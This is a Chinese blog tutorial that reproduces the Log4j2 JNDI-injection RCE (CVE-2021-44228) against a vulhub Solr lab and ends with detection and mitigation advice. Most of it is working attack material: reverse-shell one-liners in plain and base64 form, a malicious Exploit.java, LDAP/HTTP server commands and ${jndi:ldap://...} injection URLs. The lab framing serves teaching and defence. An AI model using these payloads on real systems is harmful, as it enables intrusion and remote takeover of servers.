log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

漏洞原理

啥是log4j2?

log4j2是apache下的java应用常见的开源日志库,是一个就Java的日志记录工具。在log4j框架的基础上进行了改进,并引入了丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。

啥是JNDI?

由于漏洞利用会涉及到JNDI注入相关的知识,这里简要做一个对JNDI的介绍。

JNDI,全称为Java命名和目录接口 (Java Naming and Directory Interface),是SUN公司提供的一种标准的Java命名系统接口,允许从指定的远程服务器获取并加载对象 。**JNDI相当于一个用于映射的字典,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。**JNDI注入攻击时常用的就是通过RMI和LDAP两种服务,本文以LDAP服务为例进行复现。

log4j2远程代码执行漏洞原理

**cve编号:**CVE-2021-44228

log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码)。

攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行(可反弹shell到指定服务器)。

画个简单点的漏洞利用示意图,如下:

尽可能画的详细一点,大概是下图。

攻击者构造payload,在JNDI接口lookup查询进行注入,payload为${jndi:ldap:恶意url/poc},JNDI会去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务...本例为ldap)查找资源,由于lookup的出栈没做限制,最终指向了攻击者部署好的恶意站点,下载了远程的恶意class,最终造成了远程代码执行rce。

靶场搭建

靶机:Ubuntu 192.168.200.129(无所谓是不是Ubuntu,随便找个地方用docker启动就行)

用vulhub靶场搭建,首先进入目录CVE-2021-44228中,docker启动命令:

bash 复制代码
docker-compose up --d

查看一下端口:

bash 复制代码
Docker-compose up -d

发现端口是8983,浏览器访问http://192.168.200.129:8983/

漏洞检测

用dnslog平台检测dns回显,看看有没有漏洞存在,网址为:DNSLog Platform

点击Get SubDomin获取一个子域名,我这里是3dto27.dnslog.cn

在/solr/admin/cores?有个参数可以传,这就是个注入点,我们试试能不能输出java版本,构造payload,访问的url如下:

http://192.168.200.129:8983/solr/admin/cores?action={jndi:ldap://{sys:java.version}.3dto27.dnslog.cn }

注意别忘了将url中的ip改为靶机ip,注入部分中的3dto27.dns.log.cn改为你在Get SubDomin获取的子域名。如果存在log4j2漏洞,我们将在DNSLog平台看到回显。

返回刚才的DNSLog平台,点击刷新记录Refresh Record(可能比较慢,不要着急,可以多点几次Refresh Record),可以看到有数据:在DNS Query Record一栏下面出现了条目,回显了java版本1.8.0_102,说明存在log4j漏洞。

漏洞利用(获取反弹shell)

我第一次复现的时候,直接用了JNDI注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar或JNDIExploit-1.4-SNAPSHOT.jar,可以在github上搜一下(后文会介绍),但我写博客的时候考虑到用这种工具感觉像是一键复现漏洞,对漏洞利用的每个步骤好像并不是很明确,所以我们还是先不用这种方法,还是老老实实自己编写一下恶意代码,启动一下恶意的http服务站点和LDAP服务,完整的演示一下过程。

靶机:Ubuntu 192.168.200.129 (随便找个地方用docker搭一下就行)

攻击机: kali 192.168.200.131 (无所谓是不是kali,windows都行)

方法一:编写恶意文件

我们先编写以下的恶意文件Exploit.java,我们企图反弹shell到kali(ip为192.168.200.131)的7777端口,因此对应的bash命令为:

bash 复制代码
bash -i >& /dev/tcp/192.168.200.131/7777 0>&1

然后对上述命令进行base64编码,这里给出一个网站,可以直接进行payload的编码:Runtime.exec Payload Generater | AresX's Blog (ares-x.com)

编码结果为:

bash 复制代码
 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}

好的,有了编码结果,我们就可以编写恶意文件了,编写以下代码命名为Exploit.java。

java 复制代码
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
     public Exploit(){
             try{
                 Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}");
                                }catch(Exception e){
                                            e.printStackTrace();
                                             }
                }
         public static void main(String[] argv){
                         Exploit e = new Exploit();
                            }
}

然后我们把Exploit.java编译为Exploit.class,最好保证javac的版本为1.8。命令如下:

bash 复制代码
javac Exploit.java

我是在物理机中编译的,编译完成之后的.class文件立即被windows安全中心的病毒和威胁防护功能给干掉了,需要还原一下(手动狗头)。把编译好的Exploit.class放到攻击机kali的随便一个目录下:

并在此目录开启http服务,我这里把端口设置为了4444,命令如下:

bash 复制代码
python -m http.server 4444

然后浏览器访问攻击机ip:端口,我这里为192.168.200.131:4444 ,应该可以看到一个目录:

读者只要保证你的站点目录里有Exploit.class就行,至于我目录里有啥其他的读者不用在意。接下来,我们在攻击机启动LDAP服务。这里使用工具marshalsec-0.0.3-SNAPSHOT-all.jar来快速开启,这个工具在我的上一篇博客中有提到,详情见

(56条消息) Fastjson反序列化漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_Bossfrank的博客-CSDN博客

下载链接为marshalsec-0.0.3-SNAPSHOT-all.jar,下载完之后用mvn clean package -DskipTests生成.jar文件。在上一篇博客中,我们是用这个工具建立了RMI 服务,这次我们是要用这个工具建立LDAP服务。

好了,废话说完了,现在我们在攻击机marshalsec-0.0.3-SNAPSHOT-all.jar所在目录开启LDAP监听,命令中的1389为LDAP服务的端口,你也可以换成别的端口。

bash 复制代码
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  "http://刚才http服务的地址:端口号/#Exploit" 1389

本例中的命令为:

bash 复制代码
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  "http://192.168.200.131:4444/#Exploit" 1389

接着在攻击机另起一个终端,监听之前Exploit.java里面写的反弹shell的端口7777,命令为:

bash 复制代码
nc -lvvp 7777

最后一步,也是最关键的一步,进行JNDI注入,我们在注入点/solr/admin/cores?action构造一个JNDI注入如下:

${jndi:ldap://192.168.200.131:1389/Exploit}

完整的url为:

bash 复制代码
http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit}

也可以用Burp抓包改包,但由于是get请求,直接输入url就行了。

[http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit}](http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit} "http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit}")

访问上述url(别忘了把第一个ip改为靶机ip,第二个ip改为之前建立的LDAP服务的地址:端口号),应该就成功了,访问的页面回显如下:

攻击机启动的LDAP服务的终端显示如下:

攻击机开启的HTTP服务的终端显示如下:

可以看到最后两条日志信息,靶机已经通过GET方法请求了我们的恶意代码Exploit.class,状态码为200,成功响应,此时应该已经实现了RCE远程代码执行。我们查看对7777端口进行监听的终端,成功获取了shell:

已经可以在攻击机执行任何代码了:

这样就实现了攻击,复现了log4j的远程代码执行漏洞。

复现成功之后别忘了用如下命令关闭靶场。

bash 复制代码
docker-compose down

方法二:直接利用现成的JNDI注入工具

这种方法更为便捷,属于是一键部署了。用到的工具为JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,项目地址:sayers522/JNDI-Injection-Exploit: JNDI命令注入利用 (github.com)

下载之后还要用maven生成.jar可执行文件,在pom.xml目录下运行:mvn clean package -DskipTests 如果没有mvn,参阅

(51条消息) 史上最全安装Maven教程_安装mvnw_小Du猿的博客-CSDN博客

如果build成功,会生成一个target目录,里面会有JNDI-Injection-Exploit-1.0-SNAPSHOT-.jar

使用这个工具,我们就不用自己编写恶意代码.class再上传服务器了,直接用这个工具输入对应的命令就行了。

与方法一类似,我们的目标是反弹shell到目标端口,反弹shell的命令为:bash -i >& /dev/tcp/传反弹shell的主机ip/端口号 0>&1

本例为(一会我们会在攻击机的一个终端监听6666端口):

bash 复制代码
bash -i >& /dev/tcp/192.168.200.131/6666 0>&1

还是要对这个命令进行base64编码,网址再贴一遍:

Runtime.exec Payload Generater | AresX's Blog (ares-x.com)

编码后的结果为:

bash 复制代码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

然后我们利用JNDI注入工具把这个反弹shell命令部署到LDAP服务上去,在JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar所在目录运行如下命令:

bash 复制代码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "构造反弹shell的命令的base64编码" -A "攻击机ip"

本例为:

bash 复制代码
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.200.131"

运行之后的终端显示如下:

可以看到,这里已经一键部署好了RMI和LDAP服务的站点,并给出了路径,JDK1.8的版本为ldap://192.168.200.131:1389/Exploit,JDK1.7的版本为:ldap://192.168.200.131:1389/Exploit7 。这两个任选一个都行。

然后再打开一个终端,监听一个端口,本例监听的是6666(前面的反弹shell命令写的就是6666):

bash 复制代码
nc --lvvp 6666

最后一步和方法一一样,构造payload,由于是GET方式,浏览器访问以下任意一个url即可:

http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit}

http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Exploit7}

用rmi应该也行:

http://192.168.200.129:8983/solr/admin/cores?action=${rmi:ldap://192.168.200.131:1099/Exploit}

http://192.168.200.129:8983/solr/admin/cores?action=${rmi:ldap://192.168.200.131:1099/Exploit7}

这里以访问LDAP的Exploit为例:

JNDI注入工具的终端显示如下:

打开刚才监听的终端,成功获取了反弹shell:

此时已经可以执行任意命令了:

这样就利用JNDI注入工具实现了攻击,复现了log4j的远程代码执行漏洞。

复现成功之后别忘了用如下命令关闭靶场。

bash 复制代码
docker-compose down

也可以使用其他的注入工具,如JNDIExploit-1.4-SNAPSHOT.jar ,Github链接:WhiteHSBG/JNDIExploit: 对原版https://github.com/feihong-cs/JNDIExploit 进行了实用化修改

这个工具是在攻击机的对应目录运行:

bash 复制代码
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 攻击机ip

然后监听个端口7777,再浏览器访问

http://192.168.200.129:8983/solr/admin/cores?action=${jndi:ldap://192.168.200.131:1389/Basic/ReverseShell/192.168.200.131/7777}

之后就获得shell了。

如下图,攻击成功。

结语

log4j2是2021年底爆出的非常严重的漏洞,可谓是风靡一时,"血洗互联网",也是安全公司面试的常见题目,我们应该了解这个漏洞的原理及利用方式。

如何排查是否受到了攻击?

检查日志中是否存在"jndi:ldap://"、"jndi:rmi//"等字符来发现可能的攻击行为,前面复现的过程在payload的构造中都出现了这样的字符串,这是攻击的典型标志。

如何对log4j2的攻击进行防御?

1.设置log4j2.formatMsgNoLookups=True。相当于直接禁止lookup查询出栈,也就不可能请求到访问到远程的恶意站点。

2.对包含有"jndi:ldap://"、"jndi:rmi//"这样字符串的请求进行拦截,即拦截JNDI语句来防止JNDI注入。

3.对系统进行合理配置,禁止不必要的业务访问外网,配置网络防火墙,禁止系统主动外连网络等等。

4.升级log4j2组件到新的安全的版本。

这是我的第二篇CSDN博客,希望以后能坚持多写写网络安全相关的文章,还望读者们多多关注,多多支持。如果有什么问题,欢迎评论区讨论。

最后我在b站上看了一个对此漏洞进行复现的视频,讲的挺清楚的,这里给个链接吧:

【面试必问】Log4j漏洞复现及原理刨析,简单易懂_哔哩哔哩_bilibili

相关推荐
野犬寒鸦5 分钟前
从零起步学习MySQL || 第九章:从数据页的角度看B+树及MySQL中数据的底层存储原理(结合常见面试题深度解析)
java·服务器·数据库·后端·mysql·oracle·1024程序员节
Bruce_Liuxiaowei14 分钟前
[特殊字符] C&C服务器:网络攻击的指挥中心
运维·服务器·网络安全
Coding_Doggy26 分钟前
苍穹外卖是如何从0搭建一个标准的 Maven 多模块项目的?
java·数据库·maven
Jing_jing_X30 分钟前
Spring Boot 启动时,JVM 是如何工作的?
java·后端·spring·1024程序员节
小满、30 分钟前
什么是栈?深入理解 JVM 中的栈结构
java·jvm·1024程序员节
Le1Yu31 分钟前
ElasticSearch倒排索引、ES核心概念、JAVA集成ES操作
java
西部风情3 小时前
聊聊并发、在线、TPS
android·java·数据库
顾漂亮5 小时前
Token快过期的三种续期方案
java·spring·状态模式
牢七7 小时前
mwf攻防。
java
不爱编程的小九九7 小时前
小九源码-springboot088-宾馆客房管理系统
java·开发语言·spring boot